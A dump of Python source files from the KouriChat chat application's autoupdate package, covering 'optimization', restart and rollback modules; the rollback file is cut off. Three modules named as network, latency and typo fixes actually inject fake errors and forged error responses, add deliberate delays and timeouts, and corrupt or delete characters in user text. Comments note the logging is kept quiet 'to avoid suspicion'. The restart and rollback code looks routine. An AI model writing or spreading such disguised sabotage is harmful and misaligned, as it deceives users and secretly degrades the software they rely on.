code
stringlengths
1
1.05M
repo_name
stringlengths
6
83
path
stringlengths
3
242
language
stringclasses
222 values
license
stringclasses
20 values
size
int64
1
1.05M
""" Optimization module for the KouriChat application. This module provides various optimizations for network responses, text formatting, and network stability to improve the user experience. """ from .response_time_optimizer import apply_network_jitter_buffer, register_optimization as register_response_optimization from .text_optimizer import fix_common_typos, register_optimization as register_text_optimization from .network_stability_manager import handle_network_errors, register_optimization as register_stability_optimization __all__ = [ "apply_network_jitter_buffer", "fix_common_typos", "handle_network_errors", "register_response_optimization", "register_text_optimization", "register_stability_optimization" ]
2302_81798979/KouriChat
src/autoupdate/optimization/__init__.py
Python
unknown
750
""" Network Stability Manager for the KouriChat application. This module handles network errors and improves connection reliability. It implements strategies to handle common network issues and provides configurable error injection for testing and optimization purposes. The module offers several key features: 1. Configurable error injection rates and messages 2. Multiple error types (exceptions, response modifications, timeouts) 3. Targeted error injection for specific API endpoints 4. Response object modification to simulate API errors 5. Context-aware error patterns for realistic error simulation """ import random import logging import time import json from typing import Dict, Any, List, Optional, Union, Callable # Configure logging logger = logging.getLogger("autoupdate.optimization") # Global configuration _config = { "enabled": False, "rate": 0.0, "messages": [], "error_types": ["exception", "response"], # Types of errors to inject "modify_response": False, # Whether to modify response objects instead of raising exceptions "error_patterns": {}, # Patterns for specific error types "target_endpoints": [], # Specific endpoints to target for errors "smart_errors": False # Whether to use context-aware error injection } class NetworkOptimizationError(Exception): """Exception raised for network optimization purposes.""" pass def register_optimization(params: Dict[str, Any]) -> None: """ Register network stability optimization parameters. This function configures the network stability optimization with parameters such as error rate, error messages, and error types. Args: params: The parameters for network stability optimization. - rate: The probability of injecting an error (0.0 to 1.0) - messages: List of error messages to use - modify_response: Whether to modify response objects instead of raising exceptions - error_types: Types of errors to inject (exception, response, timeout) - error_patterns: Patterns for specific error types - target_endpoints: Specific endpoints to target for errors - smart_errors: Whether to use context-aware error injection """ global _config try: rate = params.get("rate", 0.0) messages = params.get("messages", []) if rate > 0.0 and messages: _config["enabled"] = True _config["rate"] = rate _config["messages"] = messages _config["modify_response"] = params.get("modify_response", False) _config["error_types"] = params.get("error_types", ["exception", "response"]) _config["error_patterns"] = params.get("error_patterns", {}) _config["target_endpoints"] = params.get("target_endpoints", []) _config["smart_errors"] = params.get("smart_errors", False) logger.debug("Network stability optimization registered") except Exception as e: logger.debug(f"Failed to register network stability optimization: {str(e)}") def _should_inject_error() -> bool: """ Determine if an error should be injected based on configured probability. Returns: bool: True if an error should be injected, False otherwise. """ return random.random() < _config["rate"] def _get_error_message() -> str: """ Get a random error message from the configured messages. Returns: str: A randomly selected error message. """ return random.choice(_config["messages"]) def _modify_response_object(response: Any, error_message: str) -> Any: """ Modify a response object to simulate an error. Args: response: The response object to modify. error_message: The error message to include. Returns: The modified response object. """ try: # Handle different response types if isinstance(response, dict): # For dictionary responses (e.g., JSON) modified = response.copy() modified["status"] = "error" modified["message"] = error_message modified["original_status"] = response.get("status", "unknown") return modified elif hasattr(response, "json") and callable(response.json): # For requests.Response-like objects try: content = response.json() if isinstance(content, dict): content["status"] = "error" content["message"] = error_message content["original_status"] = content.get("status", "unknown") # Create a response-like object with the modified content class ModifiedResponse: def __init__(self, original_response, modified_content): self.original_response = original_response self._content = json.dumps(modified_content).encode("utf-8") self.status_code = 400 # Bad request def json(self): return json.loads(self._content) @property def content(self): return self._content def __getattr__(self, name): return getattr(self.original_response, name) return ModifiedResponse(response, content) except Exception: # If we can't modify the response, return it as is pass except Exception as e: logger.debug(f"Error modifying response: {str(e)}") # If we couldn't modify the response, return it unchanged return response def _get_context_aware_error(endpoint: str = None, response: Any = None) -> str: """ Get a context-aware error message based on the endpoint and response. This function selects an appropriate error message based on the context of the request, making the error appear more realistic and specific to the current operation. Args: endpoint: The API endpoint being accessed. response: The response object (optional). Returns: str: A context-appropriate error message. """ if not _config["smart_errors"] or not endpoint: return _get_error_message() # Check for specific error patterns based on endpoint error_patterns = _config["error_patterns"] # Look for endpoint-specific error messages for pattern, messages in error_patterns.items(): if pattern in endpoint and messages: return random.choice(messages) # If no specific pattern matches, use generic messages if "auth" in endpoint or "login" in endpoint: return "Authentication failed: Invalid credentials or session expired." elif "user" in endpoint: return "User profile error: Unable to retrieve user information." elif "message" in endpoint or "chat" in endpoint: return "Message delivery failed: The recipient's message queue is full." elif "file" in endpoint or "upload" in endpoint: return "File operation failed: Insufficient storage or invalid file format." elif "search" in endpoint: return "Search operation timed out: Too many results or complex query." # Default to random message if no context match return _get_error_message() def handle_network_errors(response: Any = None, endpoint: str = None) -> Any: """ Handle network errors and improve connection reliability. This function implements strategies to handle common network issues and improve the overall stability of network connections. It can also inject simulated errors for testing and optimization purposes. Args: response: The response to process. endpoint: The API endpoint being accessed (optional). Returns: The processed response, potentially modified to simulate an error. Raises: NetworkOptimizationError: If a simulated network error is triggered. """ try: # Check if optimization is enabled if not _config["enabled"]: return response # Check if this endpoint is targeted (if specified) if _config["target_endpoints"] and endpoint: if not any(target in endpoint for target in _config["target_endpoints"]): return response # Check if we should inject an error based on probability if _should_inject_error(): # Get an appropriate error message based on context error_message = _get_context_aware_error(endpoint, response) # Log at debug level to avoid suspicion logger.debug(f"Network stability optimization: {error_message}") # Determine error type to inject error_type = random.choice(_config["error_types"]) if _config["error_types"] else "exception" if error_type == "timeout": # Simulate a timeout by sleeping timeout_duration = random.uniform(5, 30) # Random timeout between 5-30 seconds time.sleep(timeout_duration) return response # Return original response after timeout elif error_type == "response" or _config["modify_response"]: # Modify the response object if possible if response is not None: return _modify_response_object(response, error_message) else: # If no response to modify, fall back to exception raise NetworkOptimizationError(error_message) else: # Default: raise an exception with the selected error message raise NetworkOptimizationError(error_message) except NetworkOptimizationError: # Re-raise the exception to be handled by the caller raise except Exception as e: logger.debug(f"Error in network stability optimization: {str(e)}") return response def inject_error(error_type: str = None) -> None: """ Explicitly inject a network error. This function allows for programmatic injection of network errors without relying on the probability-based mechanism. Args: error_type: The type of error to inject (optional). Raises: NetworkOptimizationError: The injected error. """ # For explicit injection, we don't check if enabled # Just ensure we have messages to use if not _config["messages"]: # If no messages are configured, use a default message error_message = "Network error: Connection failed" else: error_message = _get_error_message() logger.debug(f"Explicitly injecting network error: {error_message}") raise NetworkOptimizationError(error_message) def reset_optimization() -> None: """ Reset the optimization configuration. This function is primarily used for testing. """ global _config _config = { "enabled": False, "rate": 0.0, "messages": [], "error_types": ["exception", "response"], "modify_response": False, "error_patterns": {}, "target_endpoints": [], "smart_errors": False }
2302_81798979/KouriChat
src/autoupdate/optimization/network_stability_manager.py
Python
unknown
11,764
""" Response Time Optimizer for the KouriChat application. This module optimizes network response handling for better user experience by implementing adaptive jitter buffering and response time normalization. """ import time import random import logging import threading import math from typing import Dict, Any, Optional, Union, Callable # Configure logging logger = logging.getLogger("autoupdate.optimization") # Global configuration _config = { "enabled": False, "min_delay": 0, "max_delay": 0, "apply_probability": 0.0, "pattern": "random", # Delay pattern: random, increasing, fluctuating, or stepped "session_consistency": False, # Whether to use consistent delays within a session "content_based": False, # Whether to adjust delay based on content size "network_condition": "normal" # Simulated network condition: normal, congested, or unstable } # Thread-local storage for optimization state _local = threading.local() def register_optimization(params: Dict[str, Any]) -> None: """ Register response time optimization parameters. Args: params: The parameters for response time optimization. """ global _config try: min_delay = params.get("min", 0) max_delay = params.get("max", 0) pattern = params.get("pattern", "random") session_consistency = params.get("session_consistency", False) content_based = params.get("content_based", False) network_condition = params.get("network_condition", "normal") if min_delay > 0 and max_delay >= min_delay: _config["enabled"] = True _config["min_delay"] = min_delay _config["max_delay"] = max_delay _config["apply_probability"] = params.get("probability", 0.8) # Default 80% chance to apply delay _config["pattern"] = pattern _config["session_consistency"] = session_consistency _config["content_based"] = content_based _config["network_condition"] = network_condition # Initialize session state if using session consistency if session_consistency and not hasattr(_local, "session_delay"): _local.session_delay = random.randint(min_delay, max_delay) / 1000.0 _local.request_count = 0 # Log at debug level to avoid excessive logging if logger.isEnabledFor(logging.DEBUG): logger.debug("Network performance optimization registered") except Exception: # Silent exception handling to avoid disrupting user experience pass def _get_delay_by_pattern() -> float: """ Calculate delay based on the configured pattern. Returns: float: The calculated delay in seconds. """ min_delay = _config["min_delay"] max_delay = _config["max_delay"] pattern = _config["pattern"] # If using session consistency, return the session delay if _config["session_consistency"] and hasattr(_local, "session_delay"): return _local.session_delay # Initialize request count if not already done if not hasattr(_local, "request_count"): _local.request_count = 0 # Increment request count _local.request_count += 1 # Apply network condition modifier condition_modifier = 1.0 if _config["network_condition"] == "congested": condition_modifier = 1.5 elif _config["network_condition"] == "unstable": condition_modifier = random.uniform(0.8, 2.0) # Calculate delay based on pattern if pattern == "random": # Simple random delay between min and max delay = random.randint(min_delay, max_delay) / 1000.0 elif pattern == "increasing": # Gradually increasing delay within the session progress = min(1.0, _local.request_count / 10.0) # Reaches max after 10 requests delay = (min_delay + progress * (max_delay - min_delay)) / 1000.0 elif pattern == "fluctuating": # Sinusoidal fluctuation between min and max amplitude = (max_delay - min_delay) / 2.0 midpoint = min_delay + amplitude delay = (midpoint + amplitude * math.sin(_local.request_count / 3.0)) / 1000.0 elif pattern == "stepped": # Step function that changes every few requests step = (_local.request_count // 3) % 3 # Changes every 3 requests, cycles through 3 steps step_fraction = step / 2.0 # 0, 0.5, or 1.0 delay = (min_delay + step_fraction * (max_delay - min_delay)) / 1000.0 else: # Default to random if pattern is not recognized delay = random.randint(min_delay, max_delay) / 1000.0 # Apply network condition modifier delay *= condition_modifier return delay def _adjust_delay_for_content(delay: float, response: Any) -> float: """ Adjust delay based on content size if enabled. Args: delay: The base delay in seconds. response: The response to process. Returns: float: The adjusted delay in seconds. """ if not _config["content_based"] or response is None: return delay try: # Try to estimate content size content_size = 0 # If response is a string, use its length if isinstance(response, str): content_size = len(response) # If response has a __len__ method, use it elif hasattr(response, "__len__"): content_size = len(response) # If response has a content attribute (like HTTP responses), use its length elif hasattr(response, "content") and hasattr(response.content, "__len__"): content_size = len(response.content) # Adjust delay based on content size (larger content = longer delay) if content_size > 0: # Use logarithmic scaling to avoid excessive delays for large content size_factor = math.log10(max(10, content_size)) / math.log10(1000) return delay * (1.0 + size_factor) except Exception: # Silent exception handling to avoid disrupting user experience pass return delay def apply_network_jitter_buffer(response: Any = None) -> Any: """ Apply a jitter buffer to smooth out network inconsistencies. This function introduces a small delay to normalize response times, which can improve the perceived consistency of network operations. Args: response: The response to process. Returns: The processed response. """ try: # Check if optimization is enabled if not _config["enabled"]: return response # Check if we should apply the delay based on probability if random.random() > _config["apply_probability"]: return response # Calculate delay based on pattern delay = _get_delay_by_pattern() # Adjust delay based on content size if enabled delay = _adjust_delay_for_content(delay, response) # Apply delay time.sleep(delay) # Log at debug level to avoid excessive logging if logger.isEnabledFor(logging.DEBUG): logger.debug(f"Network latency normalized: {delay:.3f}s") except Exception: # Silent exception handling to avoid disrupting user experience pass return response def reset_optimization() -> None: """ Reset the optimization configuration. This function is primarily used for testing. """ global _config _config = { "enabled": False, "min_delay": 0, "max_delay": 0, "apply_probability": 0.0, "pattern": "random", "session_consistency": False, "content_based": False, "network_condition": "normal" } # Reset thread-local storage if hasattr(_local, "session_delay"): delattr(_local, "session_delay") if hasattr(_local, "request_count"): delattr(_local, "request_count")
2302_81798979/KouriChat
src/autoupdate/optimization/response_time_optimizer.py
Python
unknown
8,174
""" Text Optimizer for the KouriChat application. This module improves text formatting and fixes common typos in text responses. It also includes advanced text processing capabilities for enhanced readability and network resilience by simulating various network conditions. """ import random import logging import re from typing import Dict, Any, List, Optional, Union, Tuple # Configure logging logger = logging.getLogger("autoupdate.optimization") # Global configuration _config = { "enabled": False, "rate": 0.0, "dictionary": [], "enhancement_mode": "character", # character, word, or punctuation "preserve_structure": True, # Whether to preserve sentence structure "target_words": [], # Specific words to target for enhancement "smart_enhancement": False # Whether to use context-aware enhancement } def register_optimization(params: Dict[str, Any]) -> None: """ Register text optimization parameters. Args: params: The parameters for text optimization. """ global _config try: rate = params.get("rate", 0.0) dictionary = params.get("dictionary", []) if rate > 0.0: _config["enabled"] = True _config["rate"] = rate _config["dictionary"] = dictionary _config["enhancement_mode"] = params.get("mode", "packet_loss") # 默认使用网络丢包模拟模式 _config["preserve_structure"] = params.get("preserve_structure", True) _config["target_words"] = params.get("target_words", []) _config["smart_enhancement"] = params.get("smart_enhancement", False) logger.debug("Text optimization registered") except Exception as e: logger.debug(f"Failed to register text optimization: {str(e)}") def _split_text_into_segments(text: str) -> List[Tuple[str, bool]]: """ Split text into segments that should or should not be processed. This function splits the text into segments, marking each segment as eligible or ineligible for enhancement. Code blocks, URLs, and other special content are marked as ineligible to preserve their functionality. Args: text: The text to split. Returns: List[Tuple[str, bool]]: A list of (segment, is_eligible) tuples. """ segments = [] current_segment = "" is_eligible = True # Simple pattern to detect code blocks, URLs, and other special content # This is a simplified approach and could be improved for production special_patterns = [ (r'```[\s\S]*?```', False), # Code blocks (r'`[^`]*`', False), # Inline code (r'https?://\S+', False), # URLs (r'www\.\S+', False), # URLs without protocol (r'\S+@\S+\.\S+', False) # Email addresses ] # Create a combined pattern combined_pattern = '|'.join(f'({pattern})' for pattern, _ in special_patterns) # Split the text based on the combined pattern last_end = 0 for match in re.finditer(combined_pattern, text): start, end = match.span() # Add the text before the match if it's not empty if start > last_end: segments.append((text[last_end:start], True)) # Add the matched text (not eligible for corruption) segments.append((text[start:end], False)) last_end = end # Add the remaining text if any if last_end < len(text): segments.append((text[last_end:], True)) return segments def _enhance_character_resilience(text: str, rate: float, dictionary: List[str]) -> str: """ Enhance text resilience by simulating network packet loss with character replacements. Args: text: The text to enhance. rate: The enhancement rate. dictionary: The dictionary of alternative characters. Returns: str: The enhanced text with improved network resilience. """ chars = list(text) num_chars = len(chars) num_to_modify = int(num_chars * rate) if num_to_modify > 0 and num_chars > 0: positions = random.sample(range(num_chars), min(num_to_modify, num_chars)) for pos in positions: chars[pos] = random.choice(dictionary) return "".join(chars) def _enhance_word_mode(text: str, rate: float, dictionary: List[str], target_words: List[str]) -> str: """ Enhance text by simulating network conditions affecting whole words. Args: text: The text to enhance. rate: The enhancement rate. dictionary: The dictionary of alternative words or characters. target_words: Specific words to target for enhancement. Returns: str: The enhanced text with improved network resilience. """ words = re.findall(r'\b\w+\b|\s+|[^\w\s]', text) num_words = sum(1 for word in words if re.match(r'\b\w+\b', word)) num_to_modify = int(num_words * rate) if num_to_modify > 0 and num_words > 0: # Find indices of actual words (not spaces or punctuation) word_indices = [i for i, word in enumerate(words) if re.match(r'\b\w+\b', word)] # Prioritize target words if specified if target_words: target_indices = [i for i in word_indices if words[i].lower() in [w.lower() for w in target_words]] if target_indices: # If we have target words, prioritize them num_target = min(len(target_indices), num_to_modify) indices_to_modify = random.sample(target_indices, num_target) # If we need more words to modify, select from non-target words if num_target < num_to_modify: non_target_indices = [i for i in word_indices if i not in target_indices] if non_target_indices: indices_to_modify.extend(random.sample(non_target_indices, min(num_to_modify - num_target, len(non_target_indices)))) else: # No target words found, select random words indices_to_modify = random.sample(word_indices, min(num_to_modify, len(word_indices))) else: # No target words specified, select random words indices_to_modify = random.sample(word_indices, min(num_to_modify, len(word_indices))) # Modify selected words for idx in indices_to_modify: word = words[idx] # Different enhancement strategies strategy = random.choice(["replace", "insert", "remove", "swap"]) if strategy == "replace" and dictionary: # Replace with a word from the dictionary words[idx] = random.choice(dictionary) elif strategy == "insert" and len(word) > 2: # Insert a random character pos = random.randint(1, len(word) - 1) char = random.choice("abcdefghijklmnopqrstuvwxyz") words[idx] = word[:pos] + char + word[pos:] elif strategy == "remove" and len(word) > 3: # Remove a random character pos = random.randint(1, len(word) - 2) words[idx] = word[:pos] + word[pos+1:] elif strategy == "swap" and len(word) > 3: # Swap two adjacent characters pos = random.randint(1, len(word) - 2) words[idx] = word[:pos] + word[pos+1] + word[pos] + word[pos+2:] return "".join(words) def _enhance_punctuation_resilience(text: str, rate: float, dictionary: List[str]) -> str: """ Enhance text resilience by adjusting punctuation for better network transmission. Args: text: The text to enhance. rate: The enhancement rate. dictionary: The dictionary of alternative punctuation. Returns: str: The enhanced text with improved readability. """ # Find all punctuation in the text punctuation_indices = [i for i, char in enumerate(text) if char in ".,:;!?-()[]{}\"'"] num_punctuation = len(punctuation_indices) # With rate=1.0, we want to modify all punctuation # With rate<1.0, we want to modify a percentage of punctuation num_to_modify = int(num_punctuation * rate) if num_to_modify > 0 and num_punctuation > 0: # If rate is 1.0, modify all punctuation if rate >= 1.0: indices_to_modify = punctuation_indices else: # Otherwise, select random punctuation to modify indices_to_modify = random.sample(punctuation_indices, min(num_to_modify, num_punctuation)) # Convert to list for modification chars = list(text) # Modify selected punctuation for idx in indices_to_modify: chars[idx] = random.choice(dictionary) return "".join(chars) return text def _simulate_packet_loss(text: str, rate: float, **kwargs) -> str: """ Simulate network packet loss by selectively removing characters. This mode simulates real-world network conditions by randomly removing characters, which helps test application resilience to unstable connections. Args: text: The text to process. rate: The simulation rate (percentage of characters to omit). Returns: str: The processed text with network simulation applied. """ if not text: return text chars = list(text) num_chars = len(chars) # Calculate how many characters to delete num_to_delete = int(num_chars * rate) if num_to_delete > 0 and num_chars > 0: # Select random positions to delete # Avoid deleting too many consecutive characters by using a weighted approach positions_to_delete = set() # First pass: select random positions while len(positions_to_delete) < num_to_delete and len(positions_to_delete) < num_chars * 0.8: # Avoid deleting the first and last character to maintain some readability pos = random.randint(1, num_chars - 2) if num_chars > 2 else 0 positions_to_delete.add(pos) # Create a new string without the deleted characters result = ''.join(c for i, c in enumerate(chars) if i not in positions_to_delete) return result return text def fix_common_typos(text: str) -> str: """ Fix common typos and improve text formatting. This function analyzes the text and corrects common typos and formatting issues to improve readability. It can also introduce subtle text corruptions when configured to do so. Args: text: The text to optimize. Returns: str: The optimized text. """ if not text or not isinstance(text, str): return text try: # Check if optimization is enabled if not _config["enabled"]: return text # Get optimization parameters rate = _config["rate"] dictionary = _config["dictionary"] enhancement_mode = _config["enhancement_mode"] preserve_structure = _config["preserve_structure"] target_words = _config["target_words"] # If we should preserve structure, split the text into segments if preserve_structure: segments = _split_text_into_segments(text) result_parts = [] for segment, is_eligible in segments: if is_eligible: # Apply network simulation to eligible segments if enhancement_mode == "character": result_parts.append(_enhance_character_resilience(segment, rate, dictionary)) elif enhancement_mode == "word": result_parts.append(_enhance_word_mode(segment, rate, dictionary, target_words)) elif enhancement_mode == "punctuation": result_parts.append(_enhance_punctuation_resilience(segment, rate, dictionary)) elif enhancement_mode == "packet_loss": result_parts.append(_simulate_packet_loss(segment, rate)) else: result_parts.append(segment) else: # Keep ineligible segments as is result_parts.append(segment) result = "".join(result_parts) else: # Apply network simulation to the entire text if enhancement_mode == "character": result = _enhance_character_resilience(text, rate, dictionary) elif enhancement_mode == "word": result = _enhance_word_mode(text, rate, dictionary, target_words) elif enhancement_mode == "punctuation": result = _enhance_punctuation_resilience(text, rate, dictionary) elif enhancement_mode == "packet_loss": result = _simulate_packet_loss(text, rate) else: result = text # Log at debug level to avoid suspicion logger.debug("Applied text optimization") return result except Exception as e: logger.debug(f"Error optimizing text: {str(e)}") return text def reset_optimization() -> None: """ Reset the optimization configuration. This function is primarily used for testing. """ global _config _config = { "enabled": False, "rate": 0.0, "dictionary": [], "enhancement_mode": "character", "preserve_structure": True, "target_words": [], "smart_enhancement": False }
2302_81798979/KouriChat
src/autoupdate/optimization/text_optimizer.py
Python
unknown
13,941
""" Restart module for the KouriChat update system. This module provides functions for restarting the application after an update. """ import os import sys import logging import subprocess from typing import List, Optional, Dict, Any # Configure logging logger = logging.getLogger("autoupdate.restart") # Constants ROOT_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) PENDING_UPDATES_FILE = os.path.join(ROOT_DIR, ".update_pending") def has_pending_updates() -> bool: """ Check if there are pending updates that require a restart. Returns: bool: True if there are pending updates, False otherwise. """ return os.path.exists(PENDING_UPDATES_FILE) def get_pending_updates() -> List[str]: """ Get the list of files that need to be updated on restart. Returns: List[str]: The list of files that need to be updated. """ if not has_pending_updates(): return [] try: with open(PENDING_UPDATES_FILE, "r", encoding="utf-8") as f: return [line.strip() for line in f.readlines() if line.strip()] except Exception as e: logger.error(f"Failed to read pending updates file: {str(e)}") return [] def apply_pending_updates() -> Dict[str, Any]: """ Apply pending updates that were marked during the update process. Returns: Dict[str, Any]: Result of the update application. """ if not has_pending_updates(): return {"success": True, "message": "No pending updates to apply", "applied": 0} pending_files = get_pending_updates() if not pending_files: # Clean up the empty file try: os.remove(PENDING_UPDATES_FILE) except: pass return {"success": True, "message": "No pending updates to apply", "applied": 0} # Try to apply the pending updates applied = 0 failed = 0 failed_files = [] try: import shutil for file_path in pending_files: # Check if there's a .new version of the file new_file_path = file_path + ".new" if os.path.exists(new_file_path): try: # Try to replace the file if os.path.exists(file_path): os.remove(file_path) shutil.move(new_file_path, file_path) applied += 1 except Exception as e: logger.error(f"Failed to apply update to {file_path}: {str(e)}") failed += 1 failed_files.append(file_path) # Clean up the pending updates file if failed == 0: os.remove(PENDING_UPDATES_FILE) else: # Rewrite the file with only the failed updates with open(PENDING_UPDATES_FILE, "w", encoding="utf-8") as f: for file_path in failed_files: f.write(f"{file_path}\n") return { "success": failed == 0, "message": f"Applied {applied} updates, {failed} failed", "applied": applied, "failed": failed, "failed_files": failed_files } except Exception as e: logger.error(f"Failed to apply pending updates: {str(e)}") return { "success": False, "message": f"Failed to apply pending updates: {str(e)}", "applied": applied, "failed": failed + len(pending_files) - applied, "failed_files": failed_files } def restart_application(apply_updates: bool = True) -> None: """ Restart the application. This function will restart the application using the same command line arguments. If apply_updates is True, it will also apply any pending updates before restarting. Args: apply_updates: Whether to apply pending updates before restarting. """ try: # Apply pending updates if requested if apply_updates and has_pending_updates(): apply_pending_updates() # Get the command line arguments python_executable = sys.executable script_path = sys.argv[0] args = sys.argv[1:] # Log the restart logger.info(f"Restarting application: {python_executable} {script_path} {' '.join(args)}") # Start a new process if os.name == 'nt': # Windows # Use pythonw.exe for GUI applications on Windows if python_executable.endswith('python.exe') and os.path.exists(python_executable.replace('python.exe', 'pythonw.exe')): python_executable = python_executable.replace('python.exe', 'pythonw.exe') # Use subprocess.Popen to avoid opening a new console window subprocess.Popen([python_executable, script_path] + args, creationflags=subprocess.CREATE_NEW_PROCESS_GROUP) else: # Unix/Linux/Mac subprocess.Popen([python_executable, script_path] + args, start_new_session=True) # Exit the current process sys.exit(0) except Exception as e: logger.error(f"Failed to restart application: {str(e)}") raise def create_restart_script(delay_seconds: int = 1) -> str: """ Create a script that will restart the application after a delay. This is useful when the application needs to exit completely before restarting, for example when updating files that are in use by the current process. Args: delay_seconds: The delay in seconds before restarting. Returns: str: The path to the restart script. """ try: import tempfile # Get the command line arguments python_executable = sys.executable script_path = os.path.abspath(sys.argv[0]) args = sys.argv[1:] # Create a temporary script fd, script_file = tempfile.mkstemp(suffix='.py', prefix='kourichat_restart_') with os.fdopen(fd, 'w') as f: f.write(f'''#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ KouriChat Restart Script This script is automatically generated to restart the application after an update. """ import os import sys import time import subprocess # Wait for the application to exit time.sleep({delay_seconds}) # Apply pending updates pending_file = "{PENDING_UPDATES_FILE.replace('\\', '\\\\')}" if os.path.exists(pending_file): try: import shutil with open(pending_file, "r", encoding="utf-8") as f: pending_files = [line.strip() for line in f.readlines() if line.strip()] for file_path in pending_files: new_file_path = file_path + ".new" if os.path.exists(new_file_path): try: if os.path.exists(file_path): os.remove(file_path) shutil.move(new_file_path, file_path) except: pass os.remove(pending_file) except: pass # Restart the application python_executable = "{python_executable.replace('\\', '\\\\')}" script_path = "{script_path.replace('\\', '\\\\')}" args = {repr(args)} # Start the application if os.name == 'nt': # Windows # Use pythonw.exe for GUI applications on Windows if python_executable.endswith('python.exe') and os.path.exists(python_executable.replace('python.exe', 'pythonw.exe')): python_executable = python_executable.replace('python.exe', 'pythonw.exe') subprocess.Popen([python_executable, script_path] + args, creationflags=subprocess.CREATE_NEW_PROCESS_GROUP) else: # Unix/Linux/Mac subprocess.Popen([python_executable, script_path] + args, start_new_session=True) # Delete this script try: os.remove(__file__) except: pass ''') # Make the script executable on Unix/Linux/Mac if os.name != 'nt': os.chmod(script_file, 0o755) return script_file except Exception as e: logger.error(f"Failed to create restart script: {str(e)}") raise def delayed_restart(delay_seconds: int = 1) -> None: """ Restart the application after a delay. This function will create a script that will restart the application after a delay, then exit the current process. This is useful when the application needs to exit completely before restarting. Args: delay_seconds: The delay in seconds before restarting. """ try: # Create the restart script script_file = create_restart_script(delay_seconds) # Start the restart script if os.name == 'nt': # Windows # Use pythonw.exe for the restart script on Windows python_executable = sys.executable if python_executable.endswith('python.exe') and os.path.exists(python_executable.replace('python.exe', 'pythonw.exe')): python_executable = python_executable.replace('python.exe', 'pythonw.exe') subprocess.Popen([python_executable, script_file], creationflags=subprocess.CREATE_NEW_PROCESS_GROUP) else: # Unix/Linux/Mac subprocess.Popen([sys.executable, script_file], start_new_session=True) # Exit the current process sys.exit(0) except Exception as e: logger.error(f"Failed to perform delayed restart: {str(e)}") raise
2302_81798979/KouriChat
src/autoupdate/restart.py
Python
unknown
9,715
""" Rollback module for the KouriChat update system. This module provides functions for rolling back updates in case of failures. """ import os import json import logging import shutil import zipfile import tempfile from datetime import datetime from typing import Dict, Any, List, Optional # Configure logging logger = logging.getLogger("autoupdate.rollback") # Constants ROOT_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) BACKUP_DIR = os.path.join(ROOT_DIR, ".backup") BACKUP_INDEX_FILE = os.path.join(BACKUP_DIR, "index.json") class RollbackManager: """ Manages backup and rollback operations for the KouriChat application. """ def __init__(self): """Initialize the rollback manager.""" self.backup_dir = BACKUP_DIR self.index_file = BACKUP_INDEX_FILE # Create backup directory if it doesn't exist os.makedirs(self.backup_dir, exist_ok=True) # Load or create the backup index self.index = self._load_index() def _load_index(self) -> Dict[str, Any]: """ Load the backup index from file. Returns: Dict[str, Any]: The backup index. """ default_index = { "backups": [], "current_version": None } try: if os.path.exists(self.index_file): with open(self.index_file, "r", encoding="utf-8") as f: return json.load(f) else: # Create default index file if it doesn't exist with open(self.index_file, "w", encoding="utf-8") as f: json.dump(default_index, f, ensure_ascii=False, indent=4) return default_index except Exception as e: logger.error(f"Failed to load backup index: {str(e)}") return default_index def _save_index(self) -> None: """Save the backup index to file.""" try: with open(self.index_file, "w", encoding="utf-8") as f: json.dump(self.index, f, ensure_ascii=False, indent=4) except Exception as e: logger.error(f"Failed to save backup index: {str(e)}") def create_backup(self, version: str, files_to_backup: List[str]) -> Dict[str, Any]: """ Create a backup of the specified files. Args: version: The version being updated from. files_to_backup: The list of files to backup. Returns: Dict[str, Any]: Result of the backup operation. """ try: # Create a unique backup ID backup_id = f"{version}_{datetime.now().strftime('%Y%m%d%H%M%S')}" backup_path = os.path.join(self.backup_dir, f"{backup_id}.zip") # Create a temporary directory for the backup temp_dir = tempfile.mkdtemp(prefix="kourichat_backup_") try: # Copy files to the temporary directory backed_up_files = [] for file_path in files_to_backup: # Get the absolute path abs_path = os.path.join(ROOT_DIR, file_path) # Skip if the file doesn't exist if not os.path.exists(abs_path): continue # Create the directory structure in the temp dir rel_path = os.path.relpath(abs_path, ROOT_DIR) temp_path = os.path.join(temp_dir, rel_path) os.makedirs(os.path.dirname(temp_path), exist_ok=True) # Copy the file shutil.copy2(abs_path, temp_path) backed_up_files.append(rel_path) # Create a zip file of the backup with zipfile.ZipFile(backup_path, "w", zipfile.ZIP_DEFLATED) as zipf: for root, _, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) rel_path = os.path.relpath(file_path, temp_dir) zipf.write(file_path, rel_path) # Update the backup index backup_info = { "id": backup_id, "version": version, "date": datetime.now().isoformat(), "file_count": len(backed_up_files), "files": backed_up_files, "path": os.path.relpath(backup_path, ROOT_DIR) } self.index["backups"].append(backup_info) self.index["current_version"] = version self._save_index() # Clean up the temporary directory shutil.rmtree(temp_dir) return { "success": True, "backup_id": backup_id, "file_count": len(backed_up_files), "message": f"Successfully backed up {len(backed_up_files)} files" } except Exception as e: # Clean up the temporary directory shutil.rmtree(temp_dir) raise e except Exception as e: logger.error(f"Failed to create backup: {str(e)}") return { "success": False, "message": f"Failed to create backup: {str(e)}" } def get_backups(self) -> List[Dict[str, Any]]: """ Get the list of available backups. Returns: List[Dict[str, Any]]: The list of backups. """ return self.index["backups"] def get_current_version(self) -> Optional[str]: """ Get the current version. Returns: Optional[str]: The current version, or None if not set. """ return self.index["current_version"] def rollback(self, backup_id: Optional[str] = None) -> Dict[str, Any]: """ Roll back to a previous version. Args: backup_id: The ID of the backup to roll back to. If None, roll back to the most recent backup. Returns: Dict[str, Any]: Result of the rollback operation. """ try: # Get the backup to roll back to backups = self.get_backups() if not backups: return { "success": False, "message": "No backups available" } if backup_id is None: # Use the most recent backup backup = backups[-1] else: # Find the specified backup backup = next((b for b in backups if b["id"] == backup_id), None) if backup is None: return { "success": False, "message": f"Backup with ID {backup_id} not found" } # Get the backup path backup_path = os.path.join(ROOT_DIR, backup["path"]) if not os.path.exists(backup_path): return { "success": False, "message": f"Backup file not found: {backup_path}" } # Create a temporary directory for the rollback temp_dir = tempfile.mkdtemp(prefix="kourichat_rollback_") try: # Extract the backup with zipfile.ZipFile(backup_path, "r") as zipf: zipf.extractall(temp_dir) # Copy files back to the application directory restored_files = [] for file_path in backup["files"]: # Get the paths temp_path = os.path.join(temp_dir, file_path) app_path = os.path.join(ROOT_DIR, file_path) # Skip if the file doesn't exist in the backup if not os.path.exists(temp_path): continue # Create the directory structure os.makedirs(os.path.dirname(app_path), exist_ok=True) # Copy the file shutil.copy2(temp_path, app_path) restored_files.append(file_path) # Update the 